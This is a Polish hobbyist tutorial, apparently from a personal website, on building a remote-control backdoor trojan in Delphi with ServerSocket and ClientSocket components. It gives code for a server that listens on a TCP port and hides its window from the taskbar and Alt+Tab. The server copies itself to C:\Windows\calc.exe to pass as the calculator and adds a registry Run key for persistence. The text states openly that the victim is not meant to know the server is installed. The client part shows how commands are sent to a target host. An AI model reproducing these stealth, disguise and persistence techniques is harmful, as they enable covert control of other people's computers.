Tylko zalogowani mogą dodawać posty w shoutboksie.
2008920 Unikalnych wizyt
Na samym początku opisze mniej-więcej co to Trojan. Backdoor (bo tak nazywamy trojany) to programy które otwierają dany port - zostawiają "otwartą furtke" do komputera ofiary. Przez taki port napastnik może wejść bez problemu i "bawić się" czyjimś komputerem. Opisze tu jak zrobić server'a (aplikacja która po odpaleniu działa w ukryciu; otwiera "furtke") i client'a (program za którego pomocą można sterować PCtem ofiary). Trojan nasz bedzie działać na protokole TCP<>IP. Tutorialek ten bedzie dotyczył osób które miały już jakieś doczynienia z kompilatorem Borland'a i oczywiście z jezykiem programowania Delphi. Na samym wstępie mówie że bedą potrzebne 2 komponenty do Delphi - ServerSocket i ClientSocket, które można sciągnac z mojej strony ((Tutaj!)). Powiedzmy że mamy zainstalowaną zakładke INTERNET... - możemy przystępować do odpowiednich czynności ^^...
Budowa Servera
- Server bedzie prosty - bedzie działać w trybie ukrytym (ofiara nie bedzie wiedziała że go ma zainstalowanego - chyba logiczne, nie? ;P ), bedzie się instalował w systemie i posiadał aż 2 funkcje (ale opiszę tu jak dodać wlasne!).
Otórz na samym początku wstawiamy na Forme ServerSocket1 i po lewej w Object Inspector/Proporties ustawiamy :
Port - bedzie to otwarty port (albo dla lepszego zrozumienia : "Otwarta Furtka") - wpisujemy np. 1992
Active - zmieniamy na True - server bedzie się "uruchamiał" zaraz po odpaleniu Aplikacji...
Teraz wchodzimy w zakładke Events (In Object Inspector naturalnie), klikamy tam 2 razy na polu obok napisu "OnClientRead" (są to wiadomości przychodzące od Clienta). Właśnie tu bedziemy pisali funkcje naszego Backdoor'a. Teraz dodamy zmienną "command" (bedą w niej wszystkie komeny które przesyła Client). Odrazu przypiszemy wysyłane komendy do tej zmiennej... Tak to powinno wyglądać :
Teraz zajmiemy się dodawaniem FUNKCJI naszego trojanka...
Struktura wygląd bardzo prosto :
if command = 'lol' then
begin
showmessage('Jestes lolkiem!');
end;
Pierwsza linijka na Polski oznacza : "Jeśli wysłana komenda od Clienta to -lol- to..."
Druga linijka oznacza "...zacznij..."
Trzecia oznacza "...wyświetlać komunikat o treści -Jesteś lolkiem!-..."
Czwarta oznacza "...Koniec funkcji trojana..." - proste to wszystko nie?... A..., i to jest można by powiedzieć zwór ogólny dodawania funkcji Trojana... Tylko należy zmienić wiadomość od Clienta, i całe zdarzenie funkcji (w moim przypadku był to komunikat)...
Zarys całkowity procedurki odpowiedzialnej za funkcjonalność servera to :
SetWindowLong(Application.Handle,GWL_EXSTYLE, // >- Nie widać formy w pasku start ani w ALT+TAB....
ExtendedStyle or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); // //
end;
Teraz nasz server jest ukryty... Zostala jeszcze jedna rzecz - instalacja...
Uses Registry; //należy dodać do Deklaracji Uses "Registry" (deklaracja ta jest na samej górze pola z edycją kodu)
var
Rej : TRegistry;
begin
copyfile( PChar(paramstr(0)), 'c:\windows\calc.exe', true); //Kopiowanie serva do C:\Windows\Calc.exe
Rej.RootKey := HKEY_CURRENT_USER; //głowny klucz w którym bedziemy się bawić...
Rej.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True); //otwarcie klucza rejestru odpowiedającego za autorun...
Rej.WriteString('Calc', 'C:\Windows\Calc.exe'); //Dodanie do rejestru wpisu o nazwie "Calc" i wartości "C:\Windows\Calc.exe"...
finally
Rej.Free; //zwolnienie uchwytu rejestru
end;
end;
Server gotowy do użycia!... Zapisujemy projekt... ;)
Client...
Teraz pora na Clienta... - z nim jest troche mniej pisania kodu, lecz więcej elementów "wizualnych"...
Wstawiamy na Forme Clienta 4 Buttony, jedno pole Edit...
Zaczynam od Button1
ClientSocket1.Socket.SendText('lol'); //wysłanie polecenia do Servera
Teraz od Button2
ClientSocket1.Socket.SendText('hax'); //wysłanie polecenia do Servera
Button3...
ClientSocket1.Host := Edit1.Text; //przypisanie Hostu (do połączenia się) z pola do edycji Edit1